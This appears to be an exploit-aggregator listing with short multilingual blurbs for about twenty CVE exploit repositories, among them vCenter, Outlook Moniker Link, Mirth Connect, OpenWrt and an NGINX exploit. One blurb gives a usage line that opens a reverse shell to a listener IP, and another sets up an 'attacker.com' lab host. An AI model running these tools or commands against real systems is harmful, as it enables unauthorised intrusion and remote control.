vcenter_rce

vcenterrce Exploit, Vmware vCenter 6.5-7.0 RCE（CVE-2021-21972），Upload von 冰蝎3, getshell Verwendung： python3 vcenterrce -u url...

UnjailMe

UnjailMe Un'evasione dalla sandbox basata su: il proof-of-concept CVE-2018-4087 di Rani Idan Zimperium il proof-of-concept dell'overflow di securityd di @cheesecakeufo zeroday, nessuna CVE nota, grazie Abraham! A proposito del PoC di ZIMPERIUM Rani ha usato sbtool di Jonathan Levine per scoprire...

cve-2025-24035-rds-websocket-dos-test

CVE-2025-24035 Test di stress WebSocket Sicuro 🚨 AVVERTENZA : Questo NON è un exploit. Questo script è una simulazione e deve essere utilizzato esclusivamente per scopi educativi in un ambiente di laboratorio sicuro. Scopo Questo test invia un header WebSocket deliberatamente sovradimensionato pe...

CVE-2021-43258

CVE-2021-43258 ChurchInfo 1.2.13-1.3.0 Exploit für Remote-Code-Ausführung...

CVE-2021-40444

Vollständig weaponisiertes CVE-2021-40444 Bösartiger DOCX-Generator zur Ausnutzung von CVE-2021-40444 Microsoft Office Word Remote Code Execution, funktioniert mit beliebigen DLL-Dateien. Hintergrund Obwohl im Internet bereits viele PoCs kursieren, habe ich beschlossen, selbst einen Versuch zu...

Moniker-Link-CVE-2024-21413

🛡️ Moniker Link CVE-2024-21413 Room: Moniker Link CVE-2024-21413 — TryHackMe Stato: ✅ Completato Data: 30 maggio 2025 🎯 Obiettivo Comprendere e sfruttare CVE-2024-21413, una vulnerabilità in Microsoft Outlook che bypassa la Visualizzazione protetta utilizzando Moniker Link per divulgare credenzial...

CVE-2021-21425

CVE-2021-21425 - GravCMS Unauthenticated RCE Improved proof-of-concept for CVE-2021-21425, an unauthenticated Remote Code Execution vulnerability in GravCMS = 1.10.7 via arbitrary YAML write to the scheduler. Credit This is derivative work. The vulnerability and the original exploit are not mine...

CVE-2026-46368-OpenWrt-Exploit

OpenWrt luci-app-https-dns-proxy Iniezione di comandi autenticata CVE-2026-46368 Questo repository contiene il Proof of Concept PoC per una vulnerabilità critica di iniezione di comandi nel sistema operativo in luci-app-https-dns-proxy che consente l'esecuzione arbitraria di comandi come root. ID...

PoC-2023-43208

CVE-2023-43208-EXPLOIT Exploit di Remote Code Execution RCE su Mirth Connect ⚠️ SOLO PER USO DIDATTICO E DI LABORATORIO ⚠️ Una proof-of-concept per CVE-2023-43208, una vulnerabilità di remote code execution in Mirth Connect precedente alla versione 4.4.1. 🚨 IMPORTANTE DISCLAIMER LEGALE Questo...

CVE-2023-50164-HTB-strutted

CVE-2023-50164: Una vulnerabilità critica di sicurezza, identificata come CVE-2023-50164 CVE: 9.8, è stata trovata in Apache Struts, consentendo agli aggressori di manipolare i parametri di caricamento dei file, cosa che può potenzialmente portare a un path traversal non autorizzato e...

CVE-2026-31431

CVE-2026-31431 "Copy Fail" - Strumento di Ricerca e Pentesting ⚠️ DICHIARAZIONE DI NON RESPONSABILITÀ Questo progetto è fornito esclusivamente per: Ricerca sulla sicurezza Scopi educativi Test di penetrazione autorizzati Ambienti CTF e di laboratorio Utilizzando questo strumento, dichiari che:...

CVE-2017-7921-Writeup-2026

CVE-2017-7921 — Telecamere IP / DVR / NVR Hikvision Autenticazione Impropria — Escalation dei Privilegi Tramite Parametro di Query Artificioso | ---|--- ID CVE| CVE-2017-7921 Classe di Vulnerabilità| CWE-287: Autenticazione Impropria Punteggio CVSS v3.0 Base| 10.0 Critico —...

CVE-2025-24893

CVE-2025-24893 XWiki Platform é uma plataforma wiki genérica que fornece serviços de runtime para aplicações construídas sobre ela. Devido a uma vulnerabilidade no endpoint SolrSearch, um usuário não autenticado pode obter execução remota arbitrária de código. Esta vulnerabilidade afeta a...

POC_CVE-2026-45185

Laboratorio di validazione del template Nuclei per CVE-2026-45185 Questo repository non è un repository PoC proof-of-concept di exploit generici. È un laboratorio di validazione locale per riprodurre e verificare il comportamento di un template CVE-2026-45185 pensato per essere contribuito a...

CVE-2024-45427-Exploit

Gerador de Exploit CVE-2024-45427 Este script gera um arquivo Excel malicioso .xlsx para explorar CVE-2024-45427 na biblioteca PhpSpreadsheet v3.7.0. Ele injeta uma carga XSS no nome da planilha manipulando o XML bruto, ignorando as verificações padrão de validação da biblioteca. Uso 1. Edite o...

OffensivePascal-CVE-2010-2075

CVE-2010-2075 FreePascal-Implementierung von CVE-2010-2075 Schwachstelle UnrealIRCd 3.2.8.1 RCE durch Senden von "AB; Befehl" an einen beliebigen lauschenden Dienst. Jeder gesendete Befehl wird mit demselben Benutzer ausgeführt, unter dem UnrealIRCD läuft. Diese Implementierung startet eine Rever...

path-traversal-CVE-2026-14628

Path Traversal Demo - Caso di Studio : CVE-2026-14628 Una dimostrazione minima ed eseguibile della classe di vulnerabilità Path Traversal CWE-22 , utilizzando la recentemente divulgata CVE-2026-14628 come punto di riferimento reale. La vulnerabilità reale CVE-2026-14628 colpisce...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

CVE-2025-55182

CVE-2025-55182 — React2Shell Pre-Authentifizierung Remote Code Execution in React Server Components RSC, Next.js und verwandten Frameworks. Übersicht CVE-2025-55182 auch bekannt als React2Shell ist eine kritische Pre-Authentifizierung RCE-Schwachstelle, die das React Server Components RSC Ökosyst...

CVE-2024-10793

CVE-2024-10793 PoC Fügen Sie diese Zeilen in Ihre hosts-Datei ein: root@kitploit: 127.0.0.1 goodcms.lab 127.0.0.1 attacker.com Starten Sie Wordpress mit Docker: root@kitploit: $ sudo systemctl start docker $ sudo docker-compose up -d Öffnen Sie http://goodcms.lab:2121 und führen Sie die...